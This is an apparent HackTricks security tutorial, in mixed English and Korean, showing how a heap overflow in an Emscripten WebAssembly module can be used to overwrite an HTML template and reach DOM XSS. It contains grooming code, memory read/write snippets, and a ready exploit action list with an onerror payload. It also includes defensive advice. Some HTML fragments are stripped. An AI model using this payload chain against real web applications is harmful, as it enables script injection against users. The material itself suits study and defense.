%.*s
WebAssembly linear memory corruption to DOM XSS (template overwrite)
Reading time: 7 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: 
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기: 
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
 - **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
 - HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
 
This technique shows how a memory-corruption bug inside a WebAssembly (WASM) module compiled with Emscripten can be weaponized into a reliable DOM XSS even when input is sanitized. The pivot is to corrupt writable constants in WASM linear memory (e.g., HTML format templates) instead of attacking the sanitized source string.
Key idea: In the WebAssembly model, code lives in non-writable executable pages, but the module’s data (heap/stack/globals/"constants") live in a single flat linear memory (pages of 64KB) that is writable by the module. If buggy C/C++ code writes out-of-bounds, you can overwrite adjacent objects and even constant strings embedded in linear memory. When such a constant is later used to build HTML for insertion via a DOM sink, you can turn sanitized input into executable JavaScript.
Threat model and preconditions
- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
 - Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers).
 - Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory.
 - There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy).
 
Minimal vulnerable data model (example)
typedef struct msg {
char *msg_data;       // pointer to message bytes
size_t msg_data_len;  // length after sanitization
int msg_time;         // timestamp
int msg_status;       // flags
} msg;
typedef struct stuff {
msg *mess;            // dynamic array of msg
size_t size;          // used
size_t capacity;      // allocated
} stuff; // global chat state in linear memory
취약한 로직 패턴
- addMsg(): sanitized input 크기에 맞는 새 버퍼를 할당하고 s.mess에 msg를 추가하며, 필요할 때 realloc으로 용량을 두 배로 늘림.
 - editMsg(): re-sanitizes하고 memcpy’s로 새 바이트를 기존 버퍼에 복사하지만 new length ≤ old allocation을 보장하지 않아 intra-linear-memory heap overflow가 발생함.
 - populateMsgHTML(): sanitized text를 "
" 같은 baked stub으로 포맷하여 linear memory에 위치시킨다. 반환된 HTML은 DOM sink(예: innerHTML)에 도달한다.  
Allocator grooming with realloc()
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
- 초기 용량을 초과할 만큼 충분한 메시지를 보낸다. 용량이 증가한 뒤 realloc()는 종종 s->mess를 linear memory에서 마지막 사용자 버퍼 바로 다음에 배치한다.
 - editMsg()로 마지막 메시지를 오버플로우시켜 s->mess 내부의 필드를 덮어쓴다(예: msg_data 포인터를 덮어쓰기) → 이후 렌더링될 데이터에 대해 linear memory 내 임의 포인터 재작성.
 
Exploit pivot: sanitized source 대신 HTML template (sink)을 덮어쓴다
- Sanitization은 입력을 보호할 뿐, sink는 보호하지 않는다. populateMsgHTML()에서 사용되는 format stub을 찾아라, 예:
 - "
 " → change to "%.*s
"
 - linear memory를 스캔해서 그 stub을 결정론적으로 찾아라; 그것은 Module.HEAPU8 안의 평문 바이트 문자열이다.
 - stub을 덮어쓴 후, sanitized 메시지 내용은 onerror의 JavaScript 핸들러가 된다. 따라서 alert(1337) 같은 텍스트로 새 메시지를 추가하면 
가 생성되어 DOM에서 즉시 실행된다.
 
Chrome DevTools workflow (Emscripten glue)
- JS glue의 첫 Module.cwrap 호출에 브레이크한 다음 wasm 호출 지점으로 step into하여 포인터 인수(숫자형 linear memory 오프셋)를 캡처한다.
 - 콘솔에서 WASM 메모리를 읽고 쓰기 위해 Module.HEAPU8 같은 typed views를 사용한다.
 - 도움이 되는 스니펫:
 
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
End-to-end exploitation recipe
- Groom: N개의 작은 메시지를 추가하여 realloc()을 트리거합니다. s->mess가 user buffer에 인접하도록 하세요.
 - Overflow: 마지막 메시지에 대해 editMsg()를 호출해 더 긴 페이로드로 s->mess의 엔트리를 덮어쓰고, message 0의 msg_data를 (stub_addr + 1)을 가리키도록 설정합니다. +1은 다음 편집 동안 선행 '<'를 건너뛰어 태그 정렬을 유지합니다.
 - Template rewrite: message 0을 편집하여 그 바이트가 템플릿을 다음 내용으로 덮어쓰게 합니다: "img src=1 onerror=%.*s ".
 - Trigger XSS: sanitized content가 JavaScript가 되도록 새 메시지를 추가하세요(예: alert(1337)). 렌더링은 
를 출력하고 실행됩니다.
 
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1      onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
왜 이 우회가 동작하는가
- WASM는 linear memory에서의 코드 실행을 방지하지만, 프로그램 로직에 버그가 있으면 linear memory 내부의 constant data도 writable하다.
 - sanitizer는 source string만 보호한다; sink(HTML template)를 손상시키면, sanitized input이 JS handler 값이 되어 DOM에 삽입될 때 실행된다.
 - realloc()-driven adjacency와 edit flows에서의 unchecked memcpy는 포인터 손상을 유발해 linear memory 내 공격자가 선택한 주소로의 쓰기를 리다이렉트할 수 있게 한다.
 
일반화 및 기타 공격 표면
- linear memory에 embedded된 모든 in-memory HTML template, JSON skeleton, 또는 URL pattern은 downstream에서 sanitized data가 어떻게 해석되는지를 변경하기 위한 표적이 될 수 있다.
 - 다른 일반적인 WASM 함정: linear memory에서의 out-of-bounds 쓰기/읽기, heap objects의 UAF, unchecked indirect call indices로 인한 function-table 오용, 그리고 JS↔WASM glue 불일치.
 
방어 지침
- 편집 경로에서는 new length ≤ capacity를 검증하라; 복사 전에 버퍼를 재조정(resize)하라 (realloc to new_len) 또는 size-bounded APIs(snprintf/strlcpy)를 사용하고 capacity를 추적하라.
 - immutable templates는 writable linear memory 밖에 두거나 사용 전에 무결성(integrity) 검사를 수행하라.
 - JS↔WASM 경계를 untrusted로 취급하라: 포인터 범위/길이를 검증하고, exported interfaces를 fuzz하며, 메모리 성장을 제한하라.
 - sink에서 sanitize하라: WASM에서 HTML을 빌드하지 말고 innerHTML 스타일 템플릿 대신 안전한 DOM APIs를 사용하라.
 - privileged flows에서는 URL-embedded state를 신뢰하지 마라.
 
References
- Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox
 - V8: Wasm Compilation Pipeline
 - V8: Liftoff (baseline compiler)
 - Debugging WebAssembly in Chrome DevTools (YouTube)
 - SSD: Intro to Chrome exploitation (WASM edition)
 
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: 
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기: 
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
 - **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
 - HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
 
HackTricks